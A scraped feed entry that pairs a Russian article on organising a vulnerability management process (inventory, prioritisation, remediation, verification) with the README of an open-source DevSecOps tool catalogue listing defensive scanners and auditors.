Инвентаризировать активы можно готовыми решениями, опенсорсными продуктами или самописными скриптами. Решение о том, что выбрать исходит из Вашего бюджета желания.

Однако, тут главный вопрос стоит в том, чтобы охватить как можно больше устройств в своей сети и собрать необходимую по ним информацию (ip-адрес, имя устройства, операционная система, список установленного программного обеспечения, пользователи системы, наличие установленных обновлений безопасности, открытые TCP/UDP порты и т.д.).

На этапе инвентаризации важно как и качество собранной информации, так и количество просканированных устройств. Чтобы, в дальнейшем, собрать полную картину о защищенности своей организации, необходимо очень искусно и гибко настроить используемые скрипты и/или сканеры.

Советы:

Грамотно раздробить активы на более мелкие группы, чтобы ошибок при инвентаризации было как можно меньше. Самый яркий пример - у Вас большая организация, головной центр которой находится в Москве, а филиалы (офисы) в разных городах нашей необъятной. Если Вы запустите сканирование в 15 часов по Москве, то Ваши товарищи во Владивостоке просто передадут Вам привет, ибо в 22 часа на работе уже никого не будет, и как следствие все машины будут выключены.

Правильно настроить время сканирования активов (исходя из определенных ранее групп). Например, если у вас есть контроллеры домена, то они работают 24/7. Стоит сканировать их в нерабочее время (ночью), когда они минимально загружены. А вот с пользовательскими машинами ситуация обстоит совсем наоборот. Их лучше сканировать в рабочее время (днем), когда машины включены.

Не забывать про сетевую доступность до сканируемых активов (поверьте, об это тоже можно обжечься).

Выделить критичность активов на основании возможных рисков. Выход из строя контроллера домена нанесет больше ущерба, нежели выход из строя рабочей станции пользователя (ну если это не директор конечно).

Выявление уязвимостей.

Теперь когда у нас есть данные инвентаризации активов, можно и перейти к уязвимостям.

Находить уязвимости в Ваших устройствах умеют различные сканеры безопасности ( тут проводится сравнение сканеров безопасности). Также в одной из своих прошлых статей я подробно расписал процесс сбора информации об уязвимостях с помощью блэкджека и питона парсинга агрегаторов уязвимостей.

После сбора списка уязвимостей следует "отсеять" неактуальные. Например если в организации на рабочих станциях установлены только ОС Windows и Linux, то уязвимости в macOS ( CVE-2022-22620 , CVE-2022-22675, CVE-2022-22676) явно не стоит ресерчить (по крайней мере в рамках рабочих процессов).

После отсеивания, появляется главный вопрос: "В каком порядке начинать обрабатывать уязвимости?".

Ответ прост - приоритизация. Не стоит "кидаться" ресерчить всё подряд. Стоит выстроить тайную формулу, по которой будет определятся степень критичности конкретной уязвимости для Вашей организации.

потратить жизнь на поиск секретной формулы

Конечно в интернете таких формул Вы не найдете, но советую, при создании формулы обратить внимание на: критичность активов (контроллеры домена, телекоммуникационное оборудование, пользовательские активы...), скоринг уязвимости в системе CVSS, наличие эксплоитов или PoC-ов в открытых источниках, epss скоринг и т.д.

Переменных в данной формуле может быть очень много, и от того на сколько точными будут расчеты критичности уязвимостей, будет зависеть состояние защищенности вашей организации.

Советы:

Держите руку на пульсе. Опубликовать информацию о новой уязвимости в интернете намного быстрее, нежели добавить в сканер безопасности правило для её обнаружения. Собирайте информацию с агрегаторов уязвимостей.

Разберитесь с процессам Threat Intelligence и Threat Hunting (опционально). В процессе VM это не обязательно, но прокачает именно Вас.

Выработка рекомендаций

При выработке рекомендаций стоит выделить две сущности - mitigations (набор смягчающих решений) и официальное решение от производителя (разработчика).

У обеих сущностей есть свои плюсы и минусы.

Mitigations - не всегда позволяют полностью закрыть уязвимость на ваших активах, однако снижают риск её эксплуатации.

Официальное решение, в свою очередь, почти всегда подразумевает под собой обновление программного обеспечения, операционной системы, прошивки и т.д., НО тут нужно устанавливать обновление, а в настоящее время это немного затруднительно. Однако в данной ситуации на помощь пришел регулятор:

НКЦКИ предлагает алгоритм принятия решения по обновлению критичного ПО, не относящегося к open-source:

Специалист, который будет выдавать рекомендации по закрытию уязвимости в своей организации должен оценить все возможные риски, которые они за собой повлекут. Это самый трудоемкий и требующий высокой квалификации этап, ведь от рекомендаций специалиста будут зависеть безопасность информации (состояние защищенности) и непрерывность работы (отказоустойчивость) организации.

Безопасность информации, в контексте данной статьи, достигается закрытием возможных векторов компьютерных атак на организацию и повышением грамотности персонала в вопросах этики информационной безопасности, т.к. человеческий фактор может привести к реализации компьютерных атак (подкуп сотрудника организации злоумышленниками, фишинговые письма и т.д.).

Мистер робот Сезон 1 Эпизод 4

Непрерывность работы проще всего показать на примере:

В ходе ресерча уязвимости CVE-2021-38631 не удалось выработать смягчающих мер и было принято решение установить обновление безопасности KB5007186. После инсталляции на уязвимые активы, перестали работать все сетевые принтеры для данных активов. Как итог, работа в организации "встала", специалист получил по шапке и пошел откатывать обновление со всеми вытекающими последствиями.

Советы:

Тесирование! Всегда применяйте свои рекомендации сначала к тестовым стендам, а после успешных испытаний (в течении нескольких дней/недель) переходите на "боевые условия". Так и только так!

Пишите мини-мануалы по порядку эксплуатации, обнаружения попытки эксплуатации и закрытия уязвимости. Во-первых это повышает Вашу компетенцию, во-вторых, когда понадобится информация об уже отресерченной уязвимости (и такие случаи тоже бывали), следует просто открыть нужную страничку мануала.

Устранение уязвимостей

Тут следует упомянуть такой процесс как Patch Managment. Про процесс Patch Managment есть много толковых статей (например тут и тут). По-хорошему этим процессом должны заниматься администраторы инфраструктуры организации, поэтому для нас (специалистов по управлению уязвимостями) связь процессов PM и VM будет выглядеть следующим образом:

связь процессов PM и VM

*на рисунке под решающим правилом понимаются не обновления безопасности, а рекомендации по закрытию уязвимостей, выработанные специалистом.
На данном этапе задача специалиста по управлению уязвимостями заключается в том, чтобы корректно довести до администраторов инфраструктуры свои пожелания выработанные рекомендации.

Советы:

На основании секретной формулы, о которой я говорил в разделе "Выявление уязвимостей" определите временные рамки для закрытия критичных, высокий, средних и низких уязвимостей (у Вас может быть своя градация).

Доведение рекомендаций до администраторов лучше всего проводить задачами (например в какой-нибудь Incident Response Platform, или Project Management Tool), с установлением срока выполнения и списком уязвимых активов. Не стоит забывать про изолированность вашей IRP или PMT со стороны интернета (мы же тут про секьюрность пишем).

Также стоит организовать место хранения информации об уязвимостях, которые вы ресерчите. Опять сошлюсь на свою прошлую статью, там мы использовали трекер задач YouTrack.

Наработайте социальный ресурс со своими администраторами. Тоже очень важный шаг, так как от "качества" вашего общения будет зависеть качество выполнения задач.

рутина IT-отдела

Контроль устранения уязвимостей

Логическое завершение любой итерации процесса управления уязвимостями. На данном этапе всё просто.

Если администратор инфраструктуры говорит: "Уязвимость CVE-2021-40444 на устройствах A,B,C...Z закрыта по выработанным рекомендациям", то следует выборочно полностью проверить данные активы (A,B,C...Z) на наличие уязвимости. Процесс проверки лучше всего автоматизировать (сканеры безопасности, опенсорсные решения, самописные скрипты), чтобы не тратить время на перебор руками.

Если же процессом патчинга занимаетесь именно Вы (специалист по управлению уязвимостей), то бегите из этой фирмы мероприятия данного этапа можно пропустить.

Также есть третий вариант, когда выработанные рекомендации не получается применить в "боевых условиях". Тогда следует вернуться к шагу "Выработка рекомендаций" и во взаимодействии с администратором (опционально) проанализировать ситуацию и выработать иные пути закрытия уязвимости.

Следить за ходом выполнения задачи (состояние, остаток времени). Это дело лучше автоматизировать. Например написать бота в телеграмме корпоративном мессенджере, который будет "отстукивать" Вам, если сроки выполнения задачи подходят к концу, а состояние по прежнему - "запланирована" .

Сильно не загружать администраторов. Если скопом начать закрывать сразу все уязвимости, то в 90 % случаев с инфраструктурой можно попрощаться.

Советы:

Описанные мной этапы не являются парадигмой или единственным верным решением при построении процесса управления уязвимостями. Всегда можно что-то "докрутить".

Я просто хотел поделится информацией как с людьми, не занимающимися вопросами управления уязвимостями, так и с действующими специалистами в процессе VM.

В комментариях приветствую всех для обсуждения, советов и поправок)

P.S: в четвертый раз ссылка на мою прошлую статью, которая отлично синергирует с этой.

P.S.S.: Передаю привет Алексею. (@Rock8848star)

# data[].attributes.attachment_link.keywords[]
информационная безопасность

# data[].attributes.attachment_link.title
Vulnerability Management изнутри. Примеры, ошибки и подводные камни

# data[].attributes.attachment_link.description
Если Вы знакомы с процессом управления уязвимостями, то в данной статье вряд ли найдете новые подходы или методики. Всем остальным приятного чтения. Организуют и поддерживают функционирование процесса VM обычно специалисты по информационной безопасности. В связи с этим на них возлагается определенный круг задач.

# data[].attributes.attachment_link.readable_text
Ultimate DevSecOps library

Contribution rules

If you want to contribute to this library of knowledge please create proper PR (Pull Request) with description what you are adding following these set of rules:

Clear description of PR (which tool, why, number of stars, maturity and topic)

Keep it simple - Fill the description properly

Fact over feelings or personal opinions

Add source and follow the library style

Avoid duplicits - one tool, one topic

Try to make bigger updates then on tool link

Currently open-source only

Add only active projects

Add only security tools

Report typos as issue not via PR.

Note: Currently this is an early version of the library. I recommend PR after first official release.

DevSecOps library info:

This library contains list of tools and methodologies accompanied with resources. The main goal is to provide to the engineers a guide through opensource DevSecOps tooling. This repository covers only cyber security in the cloud and the DevSecOps scope.

Table of Contents

Definition

Tooling

Precommit and threat modeling

SAST

DAST

Orchestration

Supply chain and dependencies

Infrastructure as code

Containers security

Kubernetes

Cloud

Chaos engineering

Policy as code

Methodologies

Other

License

What is DevSecOps

DevSecOps focuses on security automation, testing and enforcement during DevOps - Release - SDLC cycles. The whole meaning behind this methodology is connecting together Development, Security and Operations. DevSecOps is methodology providing different methods, techniques and processes backed mainly with tooling focusing on developer / security experience.

DevSecOps takes care that security is part of every stage of DevOps loop - Plan, Code, Build, Test, Release, Deploy, Operate, Monitor.

Various definitions:

https://www.redhat.com/en/topics/devops/what-is-devsecops

https://www.ibm.com/cloud/learn/devsecops

https://snyk.io/series/devsecops/

https://www.synopsys.com/glossary/what-is-devsecops.html

Tooling

Pre-commit time tools

In this section you can find lifecycle helpers, precommit hook tools and threat modeling tools. Threat modeling tools are specific category by themselves allowing you to simulate and discover potential gaps before you start to develop the software or during the process.

Modern DevSecOps tools allow using Threat modeling as code or generation of threat models based on the existing code annotations.

Name | URL | Description | Meta
git-secrets | https://github.com/awslabs/git-secrets | AWS labs tool preventing you from committing secrets to a git repository |
git-hound | https://github.com/tillson/git-hound | Searchers secrets in git |
goSDL | https://github.com/slackhq/goSDL | Security Development Lifecycle checklist |
ThreatPlaybook | https://github.com/we45/ThreatPlaybook | Threat modeling as code |
Threat Dragon | https://github.com/OWASP/threat-dragon | OWASP Threat modeling tool |
threatspec | https://github.com/threatspec/threatspec | Threat modeling as code |
pytm | https://github.com/izar/pytm | A Pythonic framework for threat modeling |
Threagile | https://github.com/Threagile/threagile | A Go framework for threat modeling |
MAL-lang | https://mal-lang.org/#what | A language to create cyber threat modeling systems for specific domains |
Microsoft Threat modeling tool | https://docs.microsoft.com/en-us/azure/security/develop/threat-modeling-tool | Microsoft threat modeling tool |
Talisman | https://github.com/thoughtworks/talisman | A tool to detect and prevent secrets from getting checked in |
SEDATED | https://github.com/OWASP/SEDATED | The SEDATED® Project (Sensitive Enterprise Data Analyzer To Eliminate Disclosure) focuses on preventing sensitive data such as user credentials and tokens from being pushed to Git. |
Sonarlint | https://github.com/SonarSource/sonarlint-core | Sonar linting utility for IDE |
DevSkim | https://github.com/microsoft/DevSkim | DevSkim is a framework of IDE extensions and language analyzers that provide inline security analysis |
detect-secrets | https://github.com/Yelp/detect-secrets | Detects secrets in your codebase |
tflint | https://github.com/terraform-linters/tflint | A Pluggable Terraform Linter |

Secrets management

Secrets management includes managing, versioning, encryption, discovery, rotating, provisioning of passwords, certificates, configuration values and other types of secrets.

Name | URL | Description | Meta
GitLeaks | https://github.com/zricethezav/gitleaks | Gitleaks is a scanning tool for detecting hardcoded secrets |
ggshield | https://github.com/gitguardian/ggshield | GitGuardian shield (ggshield) is a CLI application that runs in your local environment or in a CI environment and helps you detect more than 350+ types of secrets and sensitive files. |
TruffleHog | https://github.com/trufflesecurity/truffleHog | TruffleHog is a scanning tool for detecting hardcoded secrets |
Hashicorp Vault | https://github.com/hashicorp/vault | Hashicorp Vault secrets management |
Mozilla SOPS | https://github.com/mozilla/sops | Mozilla Secrets Operations |
AWS secrets manager GH action | https://github.com/marketplace/actions/aws-secrets-manager-actions | AWS secrets manager docs |
GitRob | https://github.com/michenriksen/gitrob | Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github |
git-wild-hunt | https://github.com/d1vious/git-wild-hunt | A tool to hunt for credentials in the GitHub |
aws-vault | https://github.com/99designs/aws-vault | AWS Vault is a tool to securely store and access AWS credentials in a development environment |
Knox | https://github.com/pinterest/knox | Knox is a service for storing and rotation of secrets, keys, and passwords used by other services |
Chef vault | https://github.com/chef/chef-vault | allows you to encrypt a Chef Data Bag Item |
Ansible vault | Ansible vault docs | Encryption/decryption utility for Ansible data files |

OSS and Dependency management

Dependency security testing and analysis is very important part of discovering supply chain attacks. SBOM creation and following dependency scanning (Software composition analysis) is critical part of continuous integration (CI). Data series and data trends tracking should be part of CI tooling. You need to know what you produce and what you consume in context of libraries and packages.

Name | URL | Description | Meta
CycloneDX | https://github.com/orgs/CycloneDX/repositories | CycloneDX format for SBOM |
SPDX | https://github.com/spdx/spdx-spec | SPDX format for SBOM - Software Package Data Exchange |
Snyk | https://github.com/snyk/snyk | Snyk scans and monitors your projects for security vulnerabilities |
vulncost | https://github.com/snyk/vulncost | Security Scanner for VS Code |
Dependency Combobulator | https://github.com/apiiro/combobulator | Dependency-related attacks detection and prevention through heuristics and insight engine (support multiple dependency schemes) |
DependencyTrack | https://github.com/DependencyTrack/dependency-track | Dependency security tracking platform |
DependencyCheck | https://github.com/jeremylong/DependencyCheck | Simple dependency security scanner good for CI |
Retire.js | https://github.com/retirejs/retire.js/ | Helps developers to detect the use of JS-library versions with known vulnerabilities |
PHP security checker | https://github.com/fabpot/local-php-security-checker | Check vulnerabilities in PHP dependencies |
bundler-audit | https://github.com/rubysec/bundler-audit | Patch-level verification for bundler |
gemnasium | https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium | Dependency Scanning Analyzer based on Gemnasium |
Dependabot | https://github.com/dependabot/dependabot-core | Automated dependency updates built into GitHub providing security alerts |
Renovatebot | https://github.com/renovatebot/renovate | Automated dependency updates, patches multi-platform and multi-language |
npm-check | https://www.npmjs.com/package/npm-check | Check for outdated, incorrect, and unused dependencies. |

Supply chain specific tools

Supply chain is often the target of attacks. Which libraries you use can have a massive impact on security of the final product (artifacts). CI (continuous integration) must be monitored inside the tasks and jobs in pipeline steps. Integrity checks must be stored out of the system and in ideal case several validation runs with comparison of integrity hashes / or attestation must be performed.

Name | URL | Description | Meta
Tekton chains | https://github.com/tektoncd/chains | Kubernetes Custom Resource Definition (CRD) controller that allows you to manage your supply chain security in Tekton. |
in-toto | https://github.com/in-toto/attestation/tree/v0.1.0/spec | An in-toto attestation is authenticated metadata about one or more software artifacts |
SLSA | Official GitHub link | Supply-chain Levels for Software Artifacts |
kritis | https://github.com/grafeas/kritis | Solution for securing your software supply chain for Kubernetes apps |
ratify | https://github.com/deislabs/ratify | Artifact Ratification Framework |

SAST

Static code review tools working with source code and looking for known patterns and relationships of methods, variables, classes and libraries. SAST works with the raw code and usually not with build packages.

Name | URL | Description | Meta
Brakeman | https://github.com/presidentbeef/brakeman | Brakeman is a static analysis tool which checks Ruby on Rails applications for security vulnerabilities |
Semgrep | https://semgrep.dev/ | Hi-Quality Open source, works on 17+ languages |
Bandit | https://github.com/PyCQA/bandit | Python specific SAST tool |
libsast | https://github.com/ajinabraham/libsast | Generic SAST for Security Engineers. Powered by regex based pattern matcher and semantic aware semgrep |
ESLint | https://eslint.org/ | Find and fix problems in your JavaScript code |
nodejsscan | https://github.com/ajinabraham/nodejsscan | NodeJs SAST scanner with GUI |
FindSecurityBugs | https://find-sec-bugs.github.io/ | The SpotBugs plugin for security audits of Java web applications |
SonarQube community | https://github.com/SonarSource/sonarqube | Detect security issues in code review with Static Application Security Testing (SAST) |
gosec | https://github.com/securego/gosec | Inspects source code for security problems by scanning the Go AST. |

Note: Semgrep is free CLI tool, however some rulesets (https://semgrep.dev/r) are having various licences, some can be free to use and can be commercial.

OWASP curated list of SAST tools : https://owasp.org/www-community/Source_Code_Analysis_Tools

DAST

Dynamic application security testing (DAST) is a type of application testing (in most cases web) that checks your application from the outside by active communication and analysis of the responses based on injected inputs. DAST tools rely on inputs and outputs to operate. A DAST tool uses these to check for security problems while the software is actually running and is actively deployed on the server (or serverless function).

Name | URL | Description | Meta
Zap proxy | https://owasp.org/www-project-zap/ | Zap proxy providing various docker containers for CI/CD pipeline |
Wapiti | https://github.com/wapiti-scanner/wapiti | Light pipeline ready scanning tool |
Nuclei | https://github.com/projectdiscovery/nuclei | Template based security scanning tool |
purpleteam | https://github.com/purpleteam-labs/purpleteam | CLI DAST tool incubator project |
oss-fuzz | https://github.com/google/oss-fuzz | OSS-Fuzz: Continuous Fuzzing for Open Source Software |
nikto | https://github.com/sullo/nikto | Nikto web server scanner |
skipfish | https://code.google.com/archive/p/skipfish/ | Skipfish is an active web application security reconnaissance tool |

Continuous deployment security

Name | URL | Description | Meta
SecureCodeBox | https://github.com/secureCodeBox/secureCodeBox | Toolchain for continuous scanning of applications and infrastructure |
OpenSCAP | https://github.com/OpenSCAP/openscap | Open Source Security Compliance Solution |
ThreatMapper | https://github.com/deepfence/ThreatMapper | ThreatMapper hunts for vulnerabilities in your production platforms, and ranks these vulnerabilities based on their risk-of-exploit. |

Kubernetes

Name | URL | Description | Meta
KubiScan | https://github.com/cyberark/KubiScan | A tool for scanning Kubernetes cluster for risky permissions |
Kubeaudit | https://github.com/Shopify/kubeaudit | Audit Kubernetes clusters for various different security concerns |
Kubescape | https://github.com/armosec/kubescape | The first open-source tool for testing if Kubernetes is deployed according to the NSA-CISA and the MITRE ATT&CK®. |
kubesec | https://github.com/controlplaneio/kubesec | Security risk analysis for Kubernetes resources |
kube-bench | https://github.com/aquasecurity/kube-bench | Kubernetes benchmarking tool |
kube-score | https://github.com/zegl/kube-score | Static code analysis of your Kubernetes object definitions |
kube-hunter | https://github.com/aquasecurity/kube-hunter | Active scanner for k8s (purple) |
Calico | https://github.com/projectcalico/calico | Calico is an open source networking and network security solution for containers |
Kyverno | https://github.com/kyverno/kyverno/ | Kyverno is a policy engine designed for Kubernetes |
Krane | https://github.com/appvia/krane | Simple Kubernetes RBAC static analysis tool |
Starboard | https://github.com/aquasecurity/starboard | Starboard inegrates security tools by outputs into Kubernetes CRDs |
Gatekeeper | https://github.com/open-policy-agent/gatekeeper | Open policy agent gatekeeper for k8s |
Inspektor-gadget | https://github.com/kinvolk/inspektor-gadget | Collection of tools (or gadgets) to debug and inspect k8s |
kube-linter | https://github.com/stackrox/kube-linter | Static analysis for Kubernetes |
mizu-api-traffic-viewer | https://github.com/up9inc/mizu | A simple-yet-powerful API traffic viewer for Kubernetes enabling you to view all API communication between microservices to help your debug and troubleshoot regressions. |
HelmSnyk | https://github.com/snyk-labs/helm-snyk | The Helm plugin for Snyk provides a subcommand for testing the images. |
Kubewarden | https://github.com/orgs/kubewarden/repositories | Policy as code for kubernetes from SUSE. |
Kubernetes-sigs BOM | https://github.com/kubernetes-sigs/bom | Kubernetes BOM generator |
Capsule | https://github.com/clastix/capsule | A multi-tenancy and policy-based framework for Kubernetes |
Badrobot | https://github.com/controlplaneio/badrobot | Badrobot is a Kubernetes Operator audit tool |

Containers

Name | URL | Description | Meta
Harbor | https://github.com/goharbor/harbor | Trusted cloud native registry project |
Anchore | https://github.com/anchore/anchore-engine | Centralized service for inspection, analysis, and certification of container images |
Clair | https://github.com/quay/clair | Docker vulnerability scanner |
Deepfence ThreatMapper | https://github.com/deepfence/ThreatMapper | Apache v2, powerful runtime vulnerability scanner for kubernetes, virtual machines and serverless. |
Docker bench | https://github.com/docker/docker-bench-security | Docker benchmarking against CIS |
Falco | https://github.com/falcosecurity/falco | Container runtime protection |
Trivy | https://github.com/aquasecurity/trivy | Comprehensive scanner for vulnerabilities in container images |
Notary | https://github.com/notaryproject/notary | Docker signing |
Cosign | https://github.com/sigstore/cosign | Container signing |
watchtower | https://github.com/containrrr/watchtower | Updates the running version of your containerized app |

Multi-Cloud

Name | URL | Description | Meta
Cloudsploit | https://github.com/aquasecurity/cloudsploit | Detection of security risks in cloud infrastructure |
ScoutSuite | https://github.com/nccgroup/ScoutSuite | NCCgroup mutlicloud scanning tool |
CloudCustodian | https://github.com/cloud-custodian/cloud-custodian/ | Multicloud security analysis framework |
CloudGraph | https://github.com/cloudgraphdev/cli | GraphQL API + Security for AWS, Azure, GCP, and K8s |

AWS

AWS specific DevSecOps tooling. Tools here cover different areas like inventory management, misconfiguration scanning or IAM roles and policies review.

Name | URL | Description | Meta
Dragoneye | https://github.com/indeni/dragoneye | Dragoneye Indeni AWS scanner |
Prowler | https://github.com/toniblyx/prowler | Prowler is a command line tool that helps with AWS security assessment, auditing, hardening and incident response. |
aws-inventory | https://github.com/nccgroup/aws-inventory | Helps to discover all AWS resources created in an account |
PacBot | https://github.com/tmobile/pacbot | Policy as Code Bot (PacBot) |
Komiser | https://github.com/mlabouardy/komiser | Monitoring dashboard for costs and security |
Cloudsplaining | https://github.com/salesforce/cloudsplaining | IAM analysis framework |
ElectricEye | https://github.com/jonrau1/ElectricEye | Continuously monitor your AWS services for configurations |
Cloudmapper | https://github.com/duo-labs/cloudmapper | CloudMapper helps you analyze your Amazon Web Services (AWS) environments |
cartography | https://github.com/lyft/cartography | Consolidates AWS infrastructure assets and the relationships between them in an intuitive graph |
policy_sentry | https://github.com/salesforce/policy_sentry | IAM Least Privilege Policy Generator |
AirIAM | https://github.com/bridgecrewio/AirIAM | IAM Least Privilege anmalyzer and Terraformer |
StreamAlert | https://github.com/airbnb/streamalert | AirBnB serverless, real-time data analysis framework which empowers you to ingest, analyze, and alert |
CloudQuery | https://github.com/cloudquery/cloudquery/ | AirBnB serverless, real-time data analysis framework which empowers you to ingest, analyze, and alert |
S3Scanner | https://github.com/sa7mon/S3Scanner/ | A tool to find open S3 buckets and dump their contents |
aws-iam-authenticator | https://github.com/kubernetes-sigs/aws-iam-authenticator/ | A tool to use AWS IAM credentials to authenticate to a Kubernetes cluster |
kube2iam | https://github.com/jtblin/kube2iam/ | A tool to use AWS IAM credentials to authenticate to a Kubernetes cluster |
AWS open source security samples | Official AWS opensource repo | Collection of official AWS open-source resources |
AWS Firewall factory | Globaldatanet FMS automation | Deploy, update, and stage your WAFs while managing them centrally via FMS |
Parliment | Parliment | Parliament is an AWS IAM linting library |
Yor | Yor | Adds informative and consistent tags across infrastructure-as-code frameworks such as Terraform, CloudFormation, and Serverless |

Google cloud platform

GCP specific DevSecOps tooling. Tools here cover different areas like inventory management, misconfiguration scanning or IAM roles and policies review.

Name | URL | Description | Meta
Forseti | https://github.com/forseti-security/forseti-security | Complex security orchestration and scanning platform |

Policy as code

Policy as code is the idea of writing code in a high-level language to manage and automate policies. By representing policies as code in text files, proven software development best practices can be adopted such as version control, automated testing, and automated deployment. (Source: https://docs.hashicorp.com/sentinel/concepts/policy-as-code)

Name | URL | Description | Meta
Open Policy agent | https://github.com/open-policy-agent/opa | General-purpose policy engine that enables unified, context-aware policy enforcement across the entire stack |
Inspec | https://github.com/inspec/inspec | Chef InSpec is an open-source testing framework for infrastructure with a human- and machine-readable language for specifying compliance, security and policy requirements. |
Cloud Formation guard | https://github.com/aws-cloudformation/cloudformation-guard | Cloud Formation policy as code |

Chaos engineering

Chaos Engineering is the discipline of experimenting on a system in order to build confidence in the system’s capability to withstand turbulent conditions in production.

Reading and manifestos: https://principlesofchaos.org/

Name | URL | Description | Meta
chaos-mesh | https://github.com/chaos-mesh/chaos-mesh | It is a cloud-native Chaos Engineering platform that orchestrates chaos on Kubernetes environments |
Chaos monkey | https://netflix.github.io/chaosmonkey/ | Chaos Monkey is responsible for randomly terminating instances in production to ensure that engineers implement their services to be resilient to instance failures. |
chaoskube | https://github.com/linki/chaoskube | Test how your system behaves under arbitrary pod failures. |
Kube-Invaders | https://github.com/lucky-sideburn/KubeInvaders | Gamified chaos engineering tool for Kubernetes |
kube-monkey | https://github.com/asobti/kube-monkey | Gamified chaos engineering tool for Kubernetes |
Gremlin | https://github.com/gremlin/gremlin-python | Chaos enginnering SaaS platform with free plan and some open source libraries |
AWS FIS samples | https://github.com/aws-samples/aws-fault-injection-simulator-samples | AWS Fault injection simulator samples |
CloudNuke | https://github.com/gruntwork-io/cloud-nuke | CLI tool to delete all resources in an AWS account |

Infrastructure as code security

Scanning your infrastructure when it is only code helps shift-left the security. Many tools offer in IDE scanning and providing real-time advisory do Cloud engineers.

Name | URL | Description | Meta
KICS | https://github.com/Checkmarx/kics | Checkmarx security testing opensource for IaC |
Checkov | https://github.com/bridgecrewio/checkov | Checkov is a static code analysis tool for infrastructure-as-code |
tfsec | https://github.com/aquasecurity/tfsec | tfsec uses static analysis of your terraform templates to spot potential security issues. Now with terraform CDK support |
terrascan | https://github.com/accurics/terrascan | Terrascan is a static code analyzer for Infrastructure as Code |
cfsec | https://github.com/aquasecurity/cfsec | cfsec scans CloudFormation configuration files for security issues |
cfn_nag | https://github.com/stelligent/cfn_nag | Looks for insecure patterns in CloudFormation |
Sysdig IaC scanner action | https://github.com/sysdiglabs/cloud-iac-scanner-action | Scans your repository with Sysdig IAC Scanner and report the vulnerabilities. |

Orchestration

Event driven security help to drive, automate and execute tasks for security processes. The tools here and not dedicated security tools but are helping to automate and orchestrate security tasks or are part of most modern security automation frameworks or tools.

Name | URL | Description | Meta
StackStorm | https://github.com/StackStorm/st2 | Platform for integration and automation across services and tools supporting event driven security |
Camunda | https://github.com/camunda/camunda-bpm-platform | Workflow and process automation |
DefectDojo | https://github.com/DefectDojo/django-DefectDojo | Security orchestration and vulnerability management platform |

Methodologies, whitepapers and architecture

List of resources worth investigating:

https://dodcio.defense.gov/Portals/0/Documents/DoD%20Enterprise%20DevSecOps%20Reference%20Design%20v1.0_Public%20Release.pdf

https://dodcio.defense.gov/Portals/0/Documents/Library/DoDEnterpriseDevSecOpsStrategyGuide.pdf

https://csrc.nist.gov/publications/detail/sp/800-204c/draft

https://owasp.org/www-project-devsecops-maturity-model/

https://www.sans.org/posters/cloud-security-devsecops-best-practices/

AWS DevOps whitepapers:

https://d1.awsstatic.com/whitepapers/aws-development-test-environments.pdf

https://d1.awsstatic.com/whitepapers/AWS_DevOps.pdf

https://d1.awsstatic.com/whitepapers/AWS_Blue_Green_Deployments.pdf

https://d1.awsstatic.com/whitepapers/DevOps/import-windows-server-to-amazon-ec2.pdf

https://d1.awsstatic.com/whitepapers/DevOps/Jenkins_on_AWS.pdf

https://d1.awsstatic.com/whitepapers/DevOps/practicing-continuous-integration-continuous-delivery-on-AWS.pdf

https://d1.awsstatic.com/whitepapers/DevOps/infrastructure-as-code.pdf

https://d1.awsstatic.com/whitepapers/microservices-on-aws.pdf

https://d1.awsstatic.com/whitepapers/DevOps/running-containerized-microservices-on-aws.pdf

https://d1.awsstatic.com/Marketplace/solutions-center/downloads/AppSec-DevSecOps-AWS-SANS-eBook.pdf (AWS + SANS whitepaper)

AWS blog:

https://aws.amazon.com/blogs/devops/building-end-to-end-aws-devsecops-ci-cd-pipeline-with-open-source-sca-sast-and-dast-tools/

https://aws.amazon.com/blogs/devops/building-an-end-to-end-kubernetes-based-devsecops-software-factory-on-aws/

Microsoft whitepapers:

https://azure.microsoft.com/mediahandler/files/resourcefiles/6-tips-to-integrate-security-into-your-devops-practices/DevSecOps_Report_Tips_D6_fm.pdf

https://docs.microsoft.com/en-us/azure/architecture/solution-ideas/articles/devsecops-in-azure

https://docs.microsoft.com/en-us/azure/architecture/solution-ideas/articles/devsecops-in-github

GCP whitepapers:

https://cloud.google.com/architecture/devops/devops-tech-shifting-left-on-security

https://cloud.google.com/security/overview/whitepaper

https://services.google.com/fh/files/misc/security_whitepapers_march2018.pdf

https://cloud.google.com/security/encryption-in-transit/application-layer-transport-security

https://services.google.com/fh/files/misc/google-cloud-security-foundations-guide.pdf

Other

Here are the other links and resources that do not fit in any previous category. They can meet multiple categories in time or help you in your learning.

Name | URL | Description | Meta
Mobile security framework | https://github.com/MobSF/Mobile-Security-Framework-MobSF | SAST, DAST and pentesting tool for mobile apps |

Training - https://www.practical-devsecops.com/devsecops-university/

DevSecOps videos - Hackitect playground

License

MIT license

Marek Šottl (c) 2022

# data[].attributes.attachment_link.title
GitHub - sottlmarek/DevSecOps: Ultimate DevSecOps library

# data[].attributes.attachment_link.description
If you want to contribute to this library of knowledge please create proper PR (Pull Request) with description what you are adding following these set of rules: Clear description of PR (which tool, why, number of stars, maturity and topic) Keep it simple - Fill the description properly Fact over feelings or personal opinions Add source and follow the library style Avoid duplicits - one tool, one topic Try to make bigger updates then on tool link Currently open-source only Add only active projects Add only security tools Report typos as issue not via PR.